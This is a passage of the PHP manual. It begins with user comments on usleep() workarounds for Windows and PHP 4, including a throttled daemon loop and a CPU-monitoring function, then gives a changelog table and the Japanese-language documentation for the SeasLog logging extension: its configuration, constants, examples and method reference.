The fsockopen() method apparently is also useless - as someone else commented, an fclose() was missing in the original post, but this apparently does not solve the problem. After calling the function about 50 or so times, fsockopen() returns immidiately, without any delay - and watching a process monitor in Windows, you can then watch the process taking up increasingly more memory, until eventually PHP aborts (or crashes) when it reaches maximum.

The win32api-method is also a no-go ... after calling the Sleep function a few hundred times (during which memory usage will also go up every time due to a memory leak somewhere), PHP will cause an exception and Windows will terminate it.

I have given up - I don't think there is any viable solution to this problem under PHP 4.

If you need this function, upgrade your project to PHP 5.

Or settle for 1-second delays with the sleep()-function.

These, unfortunately, seem to be your only options...
Patrick 26-Jul-2006 01:04
I want to create a daemon/Linux service. Here is an example of how to run a process that has "throttle control"

// You must set these
//
// max_execution_time = 0
// max_input_time = 0

function doProcess() {
    echo "Start"."\n";
    usleep(10000);
    echo "Stop"."\n";
    return false;
}

function manageProcess() {
    // Setup data
    $runsPerMinute = 200;
    $maxMinuteAverage = 5;
    $waitIfNotWorking = 120; // seconds

    // Conversion
    $microsPerSecond = 1000000;

    // Statistical Info
    $currentMinute = 0;
    $minute = -1;
    $countPerMinute = array();
    $sumPerMinute = array();

    // Totals
    $totalProcessTime = 0;
    $totalCounts = 0;

    while (true) {
        $timestart = microtime();
        $performedWork = doProcess();
        $timeend = microtime();

        if (!$performedWork) {
            // Statistical Info
            $currentMinute = 0;
            $minute = -1;
            $countPerMinute = array();
            $sumPerMinute = array();

            sleep($waitIfNotWorking);
        } else {

            $ts = split(" ",$timestart);
            $te = split(" ",$timeend);

            $te[0] = ($te[0] * $microsPerSecond) - ($ts[0] * $microsPerSecond);
            $te[1] = ($te[1] - $ts[1]) * $microsPerSecond;

            $processTime = $te[0] + $te[1];

            if (date("i")<>$minute) { // We are NOT in the same minute
                // Reset the new minute
                $minute = date("i");
                $currentMinute = ($currentMinute+1) % $maxMinuteAverage;

                // Remove Statistical Information from the minute we are expiring.
                if (isset($countPerMinute[$currentMinute])) {
                    $totalProcessTime = $totalProcessTime - $sumPerMinute[$currentMinute];
                    $totalCounts = $totalCounts - $countPerMinute[$currentMinute];
                }

                $countPerMinute[$currentMinute] = 0;
                $sumPerMinute[$currentMinute] = 0;
            }

            $countPerMinute[$currentMinute] = $countPerMinute[$currentMinute] + 1;
            $sumPerMinute[$currentMinute] = $sumPerMinute[$currentMinute] + $processTime;

            $totalCounts = $totalCounts + 1;
            $totalProcessTime = $totalProcessTime + $processTime;

            $averageRuntime = round($totalProcessTime / $totalCounts);

            $waitTime = (($microsPerSecond*60) / $runsPerMinute) - $averageRuntime;

            usleep($waitTime);
        }
    }

}

manageProcess();
gizmo at aoaforums dot com 02-Feb-2006 09:28
It should be noted that Windows machines have a resolution of either 10 mS or 15 mS (depending on the chipset implementation and HAL used) when using the Sleep() function in kernel32.dll.  This means that your average error will be either 5 or 7.5 mS.  This is not ordinarily a problem unless you really NEED to sleep for less time than the granularity provided by Windows.
gmc at serveisw3 dot net 07-Jul-2005 09:11
If you're using Windows then you maybe are in trouble with usleep if you really need to use it.

The Bernie's microdelay function using fsockopen does not work properly, and the fclose doesn't help much.

I don't know if network connections go strange, but I know it does not work since you've made more than 2000 - 3000 calls to it, so it's not a reliable solution in 'long life' php scripts, or these are the issues of the microdelay function in my PHP and PHP-GTK applications.

Though another solution should be found, and googling a bit I fount a WinAPI function: Sleep.

So I get with this snippet wich works fine for me, you get milliseconds precission but the more important, it works for long-run scripts and of course, it does not waste any CPU cycles.

dl('php_w32api.dll');

$GLOBALS['win32api'] =& new win32;

// USleep alternative for Windows and PHP4:
$GLOBALS['win32api']->registerfunction("long Sleep (long dwMillisecods) From kernel32.dll");

// Now you can call the function from everywhere in your script: $GLOBALS['win32api']->Sleep(milliseconds);

for ($msec = 2000; $msec > 0; $msec = $msec - 125) {
  echo "Hi. Next one in $msec msec.\n";
  $GLOBALS['win32api']->Sleep($msec);
}
Bertie 28-Nov-2003 11:47
A word of warning about the microdelay() code posted that uses the fsockopen - if you use this is a loop that delays for small periods you will very quickly run out of sockets/socket buffer space. And then your network connections go very strange......
busby at edoceo dot com 17-Jan-2003 04:04
Should be noted that functions that loop really fast to create a delay also consume 100% CPU while doing the loop.  Try creating a dummy loop that goes 100000 times, watch it choke your machine.  If you really need usleep() don't use windows.
dave at techweavers dot net 28-Dec-2000 07:29
To monitor a scripts CPU ussage and avoid any nasty CPU gobbling loops you can use this function (will not work with windows or safe mode) I know it works on FreeBSD:
function phpmon($max)
 {
 $cmd = `ps -Unobody -r -o%cpu`;
 $lines = explode("\n", $cmd);
 $usage = substr($lines[1], 0, strpos($lines[1], "."));
 $sleeprate = 500;
 while ($usage >= $max)
  {
  $cmd = `ps -Unobody -r -o%cpu`;
  $lines = explode("\n", $cmd);
  $usage = substr($lines[1], 0, strpos($lines[1], "."));
  usleep($sleeprate);
  }
 }

phpmon($MAX);

where $MAX is the maximum CPU you want the process to consume. e-mail me with any improvements/suggestions.

I have noticed that this consumes a lot of system CPU (at least in my limited testing) possibly from all of the system calls or the huge mathematical functions I used to test the effectiveness of the script.


変更履歴

この拡張モジュールのクラス/関数/メソッドには次のような変更がありました。

Version | Function | Description
8.0.0 | ignore_user_abort | enable は、nullable になりました。
 | pack | この関数は、失敗時に false を返さなくなりました。
7.3.0 | define | case_insensitive は非推奨になりました。 8.0.0 で削除される予定です。
7.2.0 | pack | float と double 型は、ビッグエンディアンとリトルエンディアンを両方サポートしました。
 | unpack | float および double 型は、 ビッグエンディアンとリトルエンディアンの両方をサポートします。
7.1.0 | unpack | オプションの offset が追加されました。
7.0.15,7.1.1 | pack | "e", "E", "g" および "G" コードが、float と double のバイトオーダーをサポートするために追加されました。
7.0.0 | define | array が使えるようになりました。
5.6.3 | pack | "q"、"Q"、"J"、"P" が追加され、64ビットの数値が使えるようになりました。
5.5.0 | pack | "Z" が追加されました。Perl の "a" と互換性のある機能です。
 | unpack | Perl の関数に動きを近づけるための変更をしました。 "a" は最後の NULL バイトを維持するようになりました。 "A" は最後の ASCII 空白文字 (スペース、タブ、改行、キャリッジリターン、 NULL バイト) をすべて取り除くようになりました。 NULL 埋め文字列用に "Z" が追加されました。これは最後の NULL バイトを取り除きます。

User Contributed Notes

There are no user contributed notes for this page.


Seaslog

  • はじめに
  • インストール/設定
    • 要件
    • インストール手順
    • 実行時設定
    • リソース型
  • 定義済み定数
  • 例
  • Seaslog 関数
    • seaslog_get_author — Get SeasLog author.
    • seaslog_get_version — Get SeasLog version.
  • SeasLog — The SeasLog class
    • SeasLog::alert — Record alert log information
    • SeasLog::analyzerCount — Get log count by level, log_path and key_word
    • SeasLog::analyzerDetail — Get log detail by level, log_path, key_word, start, limit, order
    • SeasLog::closeLoggerStream — Manually release stream flow from logger
    • SeasLog::__construct — Description
    • SeasLog::critical — Record critical log information
    • SeasLog::debug — Record debug log information
    • SeasLog::__destruct — Description
    • SeasLog::emergency — Record emergency log information
    • SeasLog::error — Record error log information
    • SeasLog::flushBuffer — Flush logs buffer, dump to appender file, or send to remote api with tcp/udp
    • SeasLog::getBasePath — Get SeasLog base path.
    • SeasLog::getBuffer — Get the logs buffer in memory as array
    • SeasLog::getBufferEnabled — Determin if buffer enabled
    • SeasLog::getDatetimeFormat — Get SeasLog datetime format style
    • SeasLog::getLastLogger — Get SeasLog last logger path
    • SeasLog::getRequestID — Get SeasLog request_id differentiated requests
    • SeasLog::getRequestVariable — Get SeasLog request variable
    • SeasLog::info — Record info log information
    • SeasLog::log — The Common Record Log Function
    • SeasLog::notice — Record notice log information
    • SeasLog::setBasePath — Set SeasLog base path
    • SeasLog::setDatetimeFormat — Set SeasLog datetime format style
    • SeasLog::setLogger — Set SeasLog logger name
    • SeasLog::setRequestID — Set SeasLog request_id differentiated requests
    • SeasLog::setRequestVariable — Manually set SeasLog request variable
    • SeasLog::warning — Record warning log information

User Contributed Notes

There are no user contributed notes for this page.


はじめに

The Seaslog is an effective,fast,stable log extension for PHP.

SeasLog requires PHP 5.2.0 or greater. Earlier versions may not work.

The log journal，which is usually the operate record of the system， software and the application record. Through the analysis of the log，it can facilitate users to understand the operation of the system， software and the application situation. If your application log is rich enough, it can also analyze the previous use's operation behavior,type, regional distribution or other more information. The application log also points the multiple levels at the same time, you can easily get the application analysis of health status, timely find problems and quick positioning, and solve the problem, remedy the loss.

The error_log, syslog function which built in PHP is powerful and excellent performance, but due to various defects (error_log have no error level, no fixed format, syslog regardless of module, and mix with system log ), reducing a lot of flexibility , and can't meet the application requirements.

The good news is that there are a number of third-party log class library established to make up for the defects, such as log4php, plog, monolog (of course, there are many applications in the project development of the log class).

So is there a log of libraries meet the following requirements：

  • Modules, classification
  • Simple configuration(preferably without configuration)
  • Clear log format and easy understanding
  • Simple application and well performance
Seaslog just meet these demands.

What is provided at present:

  • In the PHP project, record the log specification and repidly.
  • Configure the default log directory and module
  • Specified log directory and capture current configuration
  • Preliminary analysis of the early warning framework
  • Efficient log buffer and convenient buffer debug
  • Follow the PSR-3 log interface specification
  • Automatically record error information
  • Automatically record abnormal information
  • Support Connect the TCP port, send with RFC5424
  • Support Connect the UDP port, send with RFC5424
  • Support RequestId differentiated requests
  • Support for log template customizations

Read More » SeasLog Document at Github.

User Contributed Notes

There are no user contributed notes for this page.


インストール手順

この PECL 拡張モジュールをインストールする方法は、 マニュアルの PECL 拡張モジュールのインストール という章にあります。 新規リリース・ダウンロード・ソースファイル・管理者情報・CHANGELOG といった関連する情報については、次の場所にあります。 » https://pecl.php.net/package/seaslog

User Contributed Notes

There are no user contributed notes for this page.


実行時設定

php.ini の設定により動作が変化します。

Seaslog 設定オプション
名前 | デフォルト | 変更可能 | 変更履歴
seaslog.appender | 1 | PHP_INI_SYSTEM |
seaslog.appender_retry | 0 | PHP_INI_ALL |
seaslog.level | 8 | PHP_INI_ALL |
seaslog.remote_host | 127.0.0.1 | PHP_INI_ALL |
seaslog.remote_port | 514 | PHP_INI_ALL |
seaslog.remote_timeout | 1 | PHP_INI_SYSTEM |
seaslog.default_basepath | /var/log/www | PHP_INI_SYSTEM |
seaslog.default_logger | default | PHP_INI_SYSTEM |
seaslog.default_template | %T | %L | %P | %Q | %t | %M | PHP_INI_SYSTEM |
seaslog.default_datetime_format | Y-m-d H:i:s | PHP_INI_SYSTEM |
seaslog.trace_error | 1 | PHP_INI_ALL |
seaslog.trace_exception | 0 | PHP_INI_SYSTEM |
seaslog.trace_notice | 0 | PHP_INI_ALL |
seaslog.trace_warning | 0 | PHP_INI_ALL |
seaslog.use_buffer | 0 | PHP_INI_SYSTEM |
seaslog.buffer_size | 0 | PHP_INI_ALL |
seaslog.buffer_disabled_in_cli | 0 | PHP_INI_SYSTEM |
seaslog.disting_type | 0 | PHP_INI_SYSTEM |
seaslog.disting_folder | 1 | PHP_INI_SYSTEM |
seaslog.disting_by_hour | 0 | PHP_INI_SYSTEM |
seaslog.recall_depth | 0 | PHP_INI_ALL |
seaslog.trim_wrap | 0 | PHP_INI_ALL |
seaslog.ignore_warning | 1 | PHP_INI_ALL |
seaslog.throw_exception | 1 | PHP_INI_ALL |

以下に設定ディレクティブに関する 簡単な説明を示します。

seaslog.appender int

Switch the Record Log Data Store. 1File 2TCP 3UDP (Switch default 1)

SeasLog will send log to tcp://remote_host:remote_port or udp://remote_host:remote_port server, when seaslog.appender configured to `2 (TCP)` or `3 (UDP)`.

When SeasLog send log to TCP/UDP，style follow RFC5424. The `{logInfo}` affected by seaslog.default_template.

The log style finally formatted such as:
<15>1 2017-08-27T01:24:59+08:00 vagrant-ubuntu-trusty test/logger[27171]: 2016-06-25 00:59:43 | DEBUG | 21423 | 599157af4e937 | 1466787583.322 | this is a neeke debug
<14>1 2017-08-27T01:24:59+08:00 vagrant-ubuntu-trusty test/logger[27171]: 2016-06-25 00:59:43 | INFO | 21423 | 599157af4e937 | 1466787583.323 | this is a info log
<13>1 2017-08-27T01:24:59+08:00 vagrant-ubuntu-trusty test/logger[27171]: 2016-06-25 00:59:43 | NOTICE | 21423 | 599157af4e937 | 1466787583.324 | this is a notice log
seaslog.appender_retry int

Record Log Retry Count. Default 0 (Do Not Retry)

seaslog.buffer_disabled_in_cli int

Disable buffer in cli. 1-Y 0-N(Default)

Switch the configure buffer_disabled_in_cli on. The buffer_disabled_in_cli switch default off. If switch buffer_disabled_in_cli on, and running in cli, seaslog.use_buffer setting will be discarded, Seaslog write to the Data Store IMMEDIATELY.

seaslog.buffer_size int

Configure the buffer_size with 100. The buffer_size default 0, it's meaning don't use buffer. If buffer_size > 0,SeasLog will rewritten down into the Data Store when the prerecorded log in memory count >= this buffer_size,and then refresh the memory poll.

seaslog.default_basepath string

Default Log Base Path. Defult "/var/log/www".

seaslog.default_datetime_format string

The DateTime Style. Default "Y-m-d H:i:s".

seaslog.default_logger string

Default Logger Path. Default "default".

seaslog.disting_by_hour int

Switch use the logger with hour. 1-Y 0-N(Default)

注意:

seaslog.disting_by_hour = 1 Switch use Logger DisTing by hour. It's meaning SeasLog will create the file each one hour.

seaslog.disting_folder int

Switch use the logger with folder. 1-Y(Default) 0-N

注意:

seaslog.disting_folder = 1 Switch use Logger DisTing by folder, it's meaning SeasLog will create the file deistic by folder, and when this configure close SeasLog will create file use underline connect Logger and Time like default_20180211.log.

seaslog.disting_type int

Switch use the logger with type. 1-Y 0-N(Default)

注意:

seaslog.disting_type = 1 Switch use Logger DisTing by type, it's meaning SeasLog will create the file deistic info\warn\error and the other type.

seaslog.ignore_warning int

Switch ignore SeasLog warning. 1-On(Default) 0-Off

注意:

seaslog.ignore_warning = 1 Open a warning to ignore SeasLog itself. When directory permissions or receive server ports are blocked, they are ignored; when closed, a warning is thrown.

seaslog.level int

Record logger level. Default 8 (All of them). 0-EMERGENCY 1-ALERT 2-CRITICAL 3-ERROR 4-WARNING 5-NOTICE 6-INFO 7-DEBUG 8-ALL

注意:

Tips: The configuration item has changed since the 1.7.0 version. Before the 1.7.0 version, the smaller the value, the more logs are taken according to the level: 0-all 1-debug 2-info 3-notice 4-warning 5-error 6-critical 7-alert 8-emergency Before the 1.7.0 version, Default 0 (All of them).

seaslog.recall_depth int

Log function recall depth.Will affected variable `LineNo` in `%F`. Default 0

seaslog.remote_host string

If you use Record TCP or UDP, configure this remote ip. Default "127.0.0.1"

seaslog.remote_port int

If you use Record TCP or UDP, configure this remote port. Default 514

seaslog.remote_timeout int

If you use Record TCP or UDP, configure this remote timeout. Default 1 second

seaslog.throw_exception int

Switch throw SeasLog exception. 1-On(Default) 0-Off

注意:

seaslog.throw_exception = 1 Open an exception that throws the SeasLog to throw itself. When the directory authority or the receive server port is blocked, throw an exception; do not throw an exception when closed.

seaslog.trace_error int

Automatic Record final error with default logger. 1-Y(Default) 0-N

seaslog.trace_exception int

Automatic Record exception with default logger. 1-Y 0-N(Default)

seaslog.trace_notice int

Automatic Record notice with default logger. 1-Y 0-N(Default)

seaslog.trace_warning int

Automatic Record warning with default logger. 1-Y 0-N(Default)

seaslog.trim_wrap int

Trim the \n and \r in log message. 1-On 0-Off(Default)

seaslog.use_buffer int

Switch use the log buffer with memory. 1-Y 0-N(Default)

注意:

seaslog.use_buffer = 1 Switch the configure use_buffer on. The use_buffer switch default off. If switch use_buffer on, SeasLog prerecord the log with memory, and them would be rewritten down into the Data Store by request shutdown or php process exit (PHP RSHUTDOWN or PHP MSHUTDOWN).

seaslog.default_template string

Default Log template. Default "%T | %L | %P | %Q | %t | %M".

注意:

`SeasLog`The following default variables are provided, which can be used directly in the log template and replaced as a corresponding value when the log is eventually generated.

Default log template is:`seaslog.default_template = "%T | %L | %P | %Q | %t | %M"`, that's mean,default log style is:`{dateTime} | {level} | {pid} | {uniqid} | {timeStamp} | {logInfo}`

If you custom log template, such as:`seaslog.default_template = "[%T]:%L %P %Q %t %M" `, that's will mean,log style was custom as:`[{dateTime}]:{level} {pid} {uniqid} {timeStamp} {logInfo}`

Seaslog Default Variable Table
Variable Name | Description
%L | Level.
%M | Message.
%T | DateTime. Such as`2017-08-16 19:15:02`,affected by `seaslog.default_datetime_format`.
%t | Timestamp. Such as`1502882102.862`,accurate to milliseconds.
%Q | RequestId. To distinguish a single request, such as not invoking the `SeasLog::setRequestId($string)` function, the unique value generated by the built-in `static char *get_uniqid ()` function is used when the request is initialized.
%H | HostName.
%P | ProcessId.
%D | Domain:Port. Such as`www.cloudwise.com:80`; When Cli, Such as `cli`.
%R | Request URI. Such as`/app/user/signin`; When Cli it's the index script, Such as `CliIndex.php`.
%m | Request Method. Such as`Get`; When Cli it's the command script, Such as `/bin/bash`.
%I | Client IP; When Cli it's `local`. Priority value: HTTP_X_REAL_IP > HTTP_X_FORWARDED_FOR > REMOTE_ADDR
%F | FileName:LineNo. Such as `UserService.php:118`.
%U | MemoryUsage. byte. Call `zend_memory_usage`.
%u | PeakMemoryUsage. byte. Call `zend_memory_peak_usage`.
%C | `TODO` Class::Action. Such as `UserService::getUserInfo`

User Contributed Notes

There are no user contributed notes for this page.


定義済み定数

以下の定数が定義されています。 この関数の拡張モジュールが PHP 組み込みでコンパイルされているか、 実行時に動的にロードされている場合のみ使用可能です。

SEASLOG_VERSION (string)
SEASLOG_AUTHOR (string)
SEASLOG_ALL (string)
"ALL"
SEASLOG_DEBUG (string)
"DEBUG" - Detailed debug information.Fine-grained information events.
SEASLOG_INFO (string)
"INFO" - Interesting events.Emphasizes the running process of the application.
SEASLOG_NOTICE (string)
"NOTICE" - Normal but significant events.Information that is more important than the INFO level during execution.
SEASLOG_WARNING (string)
"WARNING" - Exceptional occurrences that are not errors.Potentially aberrant information that needs attention and needs to be repaired.
SEASLOG_ERROR (string)
"ERROR" - Runtime errors that do not require immediate action but should typically.
SEASLOG_CRITICAL (string)
"CRITICAL" - Critical conditions.Need to be repaired immediately, and the program component is unavailable.
SEASLOG_ALERT (string)
"ALERT" - Action must be taken immediately.Immediate attention should be given to relevant personnel for emergency repairs.
SEASLOG_EMERGENCY (string)
"EMERGENCY" - System is unusable.
SEASLOG_DETAIL_ORDER_ASC (int)
1
SEASLOG_DETAIL_ORDER_DESC (int)
2
SEASLOG_APPENDER_FILE (int)
1
SEASLOG_APPENDER_TCP (int)
2
SEASLOG_APPENDER_UDP (int)
3
SEASLOG_CLOSE_LOGGER_STREAM_MOD_ALL (int)
1
SEASLOG_CLOSE_LOGGER_STREAM_MOD_ASSIGN (int)
2
SEASLOG_REQUEST_VARIABLE_DOMAIN_PORT (int)
1
SEASLOG_REQUEST_VARIABLE_REQUEST_URI (int)
2
SEASLOG_REQUEST_VARIABLE_REQUEST_METHOD (int)
3
SEASLOG_REQUEST_VARIABLE_CLIENT_IP (int)
4

User Contributed Notes

There are no user contributed notes for this page.


例

例1 Get and set base path

<?php
  $basePath1 = SeasLog::getBasePath();

  SeasLog::setBasePath('/log/base_test');
  $basePath2 = SeasLog::getBasePath();

  var_dump($basePath1,$basePath2);

  ?>

上の例の出力は、 たとえば以下のようになります。

  string(12) "/var/log/www"
  string(14) "/log/base_test"

例2 Get and set logger

<?php
$lastLogger1 = SeasLog::getLastLogger();

SeasLog::setLogger('testModule/app1');
$lastLogger2 = SeasLog::getLastLogger();

var_dump($lastLogger1,$lastLogger2);

?>

上の例の出力は、 たとえば以下のようになります。

string(7) "default"
string(15) "testModule/app1"

例3 Fast write log

<?php
SeasLog::log(SEASLOG_ERROR,'this is a error test by ::log');
SeasLog::debug('this is a {userName} debug',array('{userName}' => 'neeke'));
SeasLog::info('this is a info log');
SeasLog::notice('this is a notice log');
SeasLog::warning('your {website} was down,please {action} it ASAP!',array('{website}' => 'github.com','{action}' => 'rboot'));
SeasLog::error('a error log');
SeasLog::critical('some thing was critical');
SeasLog::alert('yes this is a {messageName}',array('{messageName}' => 'alertMSG'));
SeasLog::emergency('Just now, the house next door was completely burnt out! {note}',array('{note}' => 'it`s a joke'));
?>

As the default, seaslog.default_template = "%T | %L | %P | %Q | %t | %M". That's mean,as the default,log record style is： `{dateTime} | {level} | {pid} | {uniqid} | {timeStamp} | {logInfo}`.

上の例の出力は、 たとえば以下のようになります。

seaslog.appender = 1

2014-07-27 08:53:52 | ERROR | 23625 | 599159975a9ff | 1406422432.786 | this is a error test by log
2014-07-27 08:53:52 | DEBUG | 23625 | 599159975a9ff | 1406422432.786 | this is a neeke debug
2014-07-27 08:53:52 | INFO | 23625 | 599159975a9ff | 1406422432.787 | this is a info log
2014-07-27 08:53:52 | NOTICE | 23625 | 599159975a9ff | 1406422432.787 | this is a notice log
2014-07-27 08:53:52 | WARNING | 23625 | 599159975a9ff | 1406422432.787 | your github.com was down,please rboot it ASAP!
2014-07-27 08:53:52 | ERROR | 23625 | 599159975a9ff | 1406422432.787 | a error log
2014-07-27 08:53:52 | CRITICAL | 23625 | 599159975a9ff | 1406422432.787 | some thing was critical
2014-07-27 08:53:52 | EMERGENCY | 23625 | 599159975a9ff | 1406422432.787 | Just now, the house next door was completely burnt out! it is a joke

上の例の出力は、 たとえば以下のようになります。

seaslog.appender = 2 or seaslog.appender = 3

The log style finally formatted such as:
<15>1 2017-08-27T01:24:59+08:00 vagrant-ubuntu-trusty test/logger[27171]: 2016-06-25 00:59:43 | DEBUG | 21423 | 599157af4e937 | 1466787583.322 | this is a neeke debug
<14>1 2017-08-27T01:24:59+08:00 vagrant-ubuntu-trusty test/logger[27171]: 2016-06-25 00:59:43 | INFO | 21423 | 599157af4e937 | 1466787583.323 | this is a info log
<13>1 2017-08-27T01:24:59+08:00 vagrant-ubuntu-trusty test/logger[27171]: 2016-06-25 00:59:43 | NOTICE | 21423 | 599157af4e937 | 1466787583.324 | this is a notice log

例4 Fast count some type of log count value

SeasLog get count value of `grep -wc` use system pipe and return to PHP (array or int).

<?php
$countResult1 = SeasLog::analyzerCount();
$countResult2 = SeasLog::analyzerCount(SEASLOG_WARNING);
$countResult3 = SeasLog::analyzerCount(SEASLOG_ERROR,date('Ymd',time()));

var_dump($countResult1,$countResult2,$countResult3);

?>

上の例の出力は、 たとえば以下のようになります。

array(8) {
  ["DEBUG"]=>
  int(3)
  ["INFO"]=>
  int(3)
  ["NOTICE"]=>
  int(3)
  ["WARNING"]=>
  int(3)
  ["ERROR"]=>
  int(6)
  ["CRITICAL"]=>
  int(3)
  ["ALERT"]=>
  int(3)
  ["EMERGENCY"]=>
  int(3)
}
int(7)
int(1)

例5 Acquisit some type of log list

SeasLog get count value of `grep -w` use system pipe and return array to PHP.

<?php
$detailErrorArray = SeasLog::analyzerDetail(SEASLOG_ERROR);
var_dump($detailErrorArray);

var_dump(SeasLog::analyzerDetail(SEASLOG_ERROR,date('Ymd',time())));
?>

上の例の出力は、 たとえば以下のようになります。

array(6) {
  [0] =>
  string(83) "2014-02-24 00:14:02 | ERROR | 8568 | 599157af4e937 | 1393172042.717 | test error 3 "
  [1] =>
  string(83) "2014-02-24 00:14:04 | ERROR | 8594 | 5991576584446 | 1393172044.104 | test error 3 "
  [2] =>
  string(83) "2014-02-24 00:14:04 | ERROR | 8620 | 1502697015147 | 1393172044.862 | test error 3 "
  [3] =>
  string(83) "2014-02-24 00:14:05 | ERROR | 8646 | 599159975a9ff | 1393172045.989 | test error 3 "
  [4] =>
  string(83) "2014-02-24 00:14:07 | ERROR | 8672 | 599159986ec28 | 1393172047.882 | test error 3 "
  [5] =>
  string(83) "2014-02-24 00:14:08 | ERROR | 8698 | 5991599981cec | 1393172048.736 | test error 3 "
}

array(2) {
  [0] =>
  string(83) "2014-02-24 00:14:02 | ERROR | 8568 | 599157af4e937 | 1393172042.717 | test error 3 "
  [1] =>
  string(83) "2014-02-24 00:14:04 | ERROR | 8594 | 5991576584446 | 1393172044.104 | test error 3 "
}

User Contributed Notes

There are no user contributed notes for this page.


Seaslog 関数

目次

  • seaslog_get_author — Get SeasLog author.
  • seaslog_get_version — Get SeasLog version.

User Contributed Notes

There are no user contributed notes for this page.


Get SeasLog author.

  • ≪ Seaslog 関数
  • seaslog_get_version ≫
  • PHP Manual
  • Seaslog 関数
  • Get SeasLog author.

seaslog_get_author

(PECL seaslog >=1.0.0)

seaslog_get_author — Get SeasLog author.

説明

seaslog_get_author ( ) : string

パラメータ

この関数にはパラメータはありません。

返り値

Return SeasLog author as string.

例

例1 seaslog_get_author() example

<?php

var_dump(seaslog_get_author());

?>

上の例の出力は、 たとえば以下のようになります。

string(29) "Chitao.Gao  [ neeke@php.net ]"

User Contributed Notes

There are no user contributed notes for this page.


Get SeasLog version.

  • ≪ seaslog_get_author
  • SeasLog ≫
  • PHP Manual
  • Seaslog 関数
  • Get SeasLog version.

seaslog_get_version

(PECL seaslog >=1.0.0)

seaslog_get_version — Get SeasLog version.

説明

seaslog_get_version ( ) : string

パラメータ

この関数にはパラメータはありません。

返り値

Return SeasLog version (SEASLOG_VERSION) as string.

例

例1 seaslog_get_version() example

<?php

var_dump(seaslog_get_version());

?>

上の例の出力は、 たとえば以下のようになります。

string(5) "1.8.4"

User Contributed Notes

There are no user contributed notes for this page.


The SeasLog class

(PECL seaslog >=1.0.0)

はじめに

クラス概要

SeasLog {
/* メソッド */
public static alert ( string $message , array $content = ? , string $logger = ? ) : bool
public static analyzerCount ( string $level , string $log_path = ? , string $key_word = ? ) : mixed
public static analyzerDetail ( string $level , string $log_path = ? , string $key_word = ? , int $start = ? , int $limit = ? , int $order = ? ) : mixed
public static closeLoggerStream ( int $model , string $logger ) : bool
public static critical ( string $message , array $content = ? , string $logger = ? ) : bool
public static debug ( string $message , array $content = ? , string $logger = ? ) : bool
public __destruct ( )
public static emergency ( string $message , array $content = ? , string $logger = ? ) : bool
public static error ( string $message , array $content = ? , string $logger = ? ) : bool
public static flushBuffer ( ) : bool
public static Seaslog::getBasePath ( ) : string
public static getBuffer ( ) : array
public static getBufferEnabled ( ) : bool
public static getDatetimeFormat ( ) : string
public static getLastLogger ( ) : string
public static getRequestID ( ) : string
public static getRequestVariable ( int $key ) : bool
public static info ( string $message , array $content = ? , string $logger = ? ) : bool
public static log ( string $level , string $message = ? , array $content = ? , string $logger = ? ) : bool
public static notice ( string $message , array $content = ? , string $logger = ? ) : bool
public static setBasePath ( string $base_path ) : bool
public static setDatetimeFormat ( string $format ) : bool
public static setLogger ( string $logger ) : bool
public static setRequestID ( string $request_id ) : bool
public static setRequestVariable ( int $key , string $value ) : bool
public static warning ( string $message , array $content = ? , string $logger = ? ) : bool
}

目次

  • SeasLog::alert — Record alert log information
  • SeasLog::analyzerCount — Get log count by level, log_path and key_word
  • SeasLog::analyzerDetail — Get log detail by level, log_path, key_word, start, limit, order
  • SeasLog::closeLoggerStream — Manually release stream flow from logger
  • SeasLog::__construct — Description
  • SeasLog::critical — Record critical log information
  • SeasLog::debug — Record debug log information
  • SeasLog::__destruct — Description
  • SeasLog::emergency — Record emergency log information
  • SeasLog::error — Record error log information
  • SeasLog::flushBuffer — Flush logs buffer, dump to appender file, or send to remote api with tcp/udp
  • SeasLog::getBasePath — Get SeasLog base path.
  • SeasLog::getBuffer — Get the logs buffer in memory as array
  • SeasLog::getBufferEnabled — Determin if buffer enabled
  • SeasLog::getDatetimeFormat — Get SeasLog datetime format style
  • SeasLog::getLastLogger — Get SeasLog last logger path
  • SeasLog::getRequestID — Get SeasLog request_id differentiated requests
  • SeasLog::getRequestVariable — Get SeasLog request variable
  • SeasLog::info — Record info log information
  • SeasLog::log — The Common Record Log Function
  • SeasLog::notice — Record notice log information
  • SeasLog::setBasePath — Set SeasLog base path
  • SeasLog::setDatetimeFormat — Set SeasLog datetime format style
  • SeasLog::setLogger — Set SeasLog logger name
  • SeasLog::setRequestID — Set SeasLog request_id differentiated requests
  • SeasLog::setRequestVariable — Manually set SeasLog request variable
  • SeasLog::warning — Record warning log information

User Contributed Notes

There are no user contributed notes for this page.


Record alert log information

  • ≪ SeasLog
  • SeasLog::analyzerCount ≫
  • PHP Manual
  • SeasLog
  • Record alert log information

SeasLog::alert

(PECL seaslog >=1.0.0)

SeasLog::alert — Record alert log information

説明

public static SeasLog::alert ( string $message , array $content = ? , string $logger = ? ) : bool

Record alert log information.

注意:

"ALERT" - Action must be taken immediately. Immediate attention should be given to relevant personnel for emergency repairs.

パラメータ

message

The log message.

content

The `message` contain placeholders which implementors replace with values from content array. Sush as `message` is `log info from {NAME}` and `content` is `array('NAME' => neeke)`, the log information will `log info from neeke`.

logger

The `logger` cased by the third param would be used right this right now, like a temp logger, when the function SeasLog::setLogger() called in pre content. If `logger` NULL or "", SeasLog will use lastest logger setted by SeasLog::setLogger().

返り値

Return TRUE on record log information success, FALSE on failure.

例

例1 SeasLog::alert() example

<?php

var_dump(SeasLog::alert('log message'));

//with content
var_dump(SeasLog::alert('log message from {NAME}',array('NAME' => 'neeke')));

//with tmp logger
var_dump(SeasLog::alert('log message from {NAME}',array('NAME' => 'neeke'),'tmp_logger'));

var_dump(SeasLog::getBuffer());

?>

上の例の出力は、 たとえば以下のようになります。

bool(true)
bool(true)
bool(true)
array(2) {
  ["/var/log/www/default/20180707.log"]=>
  array(2) {
    [0]=>
    string(81) "2018-07-07 11:45:49 | ALERT | 73263 | 5b40376d1067c | 1530935149.68 | log message
"
    [1]=>
    string(92) "2018-07-07 11:45:49 | ALERT | 73263 | 5b40376d1067c | 1530935149.68 | log message from neeke
"
  }
  ["/var/log/www/tmp_logger/20180707.log"]=>
  array(1) {
    [0]=>
    string(92) "2018-07-07 11:45:49 | ALERT | 73263 | 5b40376d1067c | 1530935149.68 | log message from neeke
"
  }
}

参考

  • seaslog.default_template
  • SeasLog::debug() - Record debug log information
  • SeasLog::info() - Record info log information
  • SeasLog::notice() - Record notice log information
  • SeasLog::warning() - Record warning log information
  • SeasLog::error() - Record error log information
  • SeasLog::critical() - Record critical log information
  • SeasLog::emergency() - Record emergency log information
  • SeasLog::log() - The Common Record Log Function

User Contributed Notes

There are no user contributed notes for this page.


